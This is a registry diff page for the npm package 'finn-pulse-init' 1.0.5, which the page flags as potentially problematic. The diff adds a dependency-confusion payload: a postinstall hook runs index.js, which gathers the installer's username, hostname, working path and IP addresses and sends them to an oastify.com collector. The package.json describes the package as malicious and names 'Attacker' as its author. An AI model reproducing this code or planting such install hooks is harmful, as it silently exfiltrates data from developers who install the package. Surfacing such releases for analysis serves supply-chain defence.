finn-pulse-init 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of finn-pulse-init might be problematic. Click here for more details.
- package/.env +1 -0
- package/index.js +64 -0
- package/package.json +14 -0
package/.env
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
asuuuuuuuuuuuuuuuuuuuuuu
|
package/index.js
ADDED
@@ -0,0 +1,64 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const axios = require('axios');
|
3
|
+
const path = require('path');
|
4
|
+
|
5
|
+
function getSystemInfo() {
|
6
|
+
const username = os.userInfo().username;
|
7
|
+
const hostname = os.hostname();
|
8
|
+
const currentPath = path.resolve('.');
|
9
|
+
const internalIP = getInternalIP(); // Mendapatkan IP internal
|
10
|
+
const externalIP = getExternalIP(); // Mendapatkan IP eksternal
|
11
|
+
|
12
|
+
return {
|
13
|
+
username: username,
|
14
|
+
hostname: hostname,
|
15
|
+
currentPath: currentPath,
|
16
|
+
internalIP: internalIP,
|
17
|
+
externalIP: externalIP
|
18
|
+
};
|
19
|
+
}
|
20
|
+
|
21
|
+
// Fungsi untuk mendapatkan IP internal (lokal)
|
22
|
+
function getInternalIP() {
|
23
|
+
const networkInterfaces = os.networkInterfaces();
|
24
|
+
let ipAddress = null;
|
25
|
+
|
26
|
+
for (const interfaceName in networkInterfaces) {
|
27
|
+
const interfaces = networkInterfaces[interfaceName];
|
28
|
+
for (const iface of interfaces) {
|
29
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
30
|
+
ipAddress = iface.address;
|
31
|
+
break;
|
32
|
+
}
|
33
|
+
}
|
34
|
+
}
|
35
|
+
|
36
|
+
return ipAddress || 'IP Internal tidak ditemukan';
|
37
|
+
}
|
38
|
+
|
39
|
+
// Fungsi untuk mendapatkan IP eksternal (publik) menggunakan API
|
40
|
+
function getExternalIP() {
|
41
|
+
axios.get('https://api.ipify.org?format=json')
|
42
|
+
.then(response => {
|
43
|
+
console.log('IP Eksternal:', response.data.ip);
|
44
|
+
})
|
45
|
+
.catch(error => {
|
46
|
+
console.error('Error mendapatkan IP eksternal:', error);
|
47
|
+
});
|
48
|
+
}
|
49
|
+
|
50
|
+
function sendData() {
|
51
|
+
const data = getSystemInfo();
|
52
|
+
console.log(data); // Data yang mengandung IP internal dan eksternal
|
53
|
+
|
54
|
+
// Kirim data ke server jika perlu
|
55
|
+
axios.post('https://e8nhnl6btlxc5ze8n0onc4xsdjja71vq.oastify.com/log', data)
|
56
|
+
.then(response => {
|
57
|
+
console.log('Data berhasil dikirim:', response.data);
|
58
|
+
})
|
59
|
+
.catch(error => {
|
60
|
+
console.error('Error saat mengirim data:', error);
|
61
|
+
});
|
62
|
+
}
|
63
|
+
|
64
|
+
sendData();
|
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
{
|
2
|
+
"name": "finn-pulse-init",
|
3
|
+
"version": "1.0.5",
|
4
|
+
"description": "Malicious package for dependency confusion",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "Attacker",
|
10
|
+
"license": "MIT",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^0.21.1"
|
13
|
+
}
|
14
|
+
}
|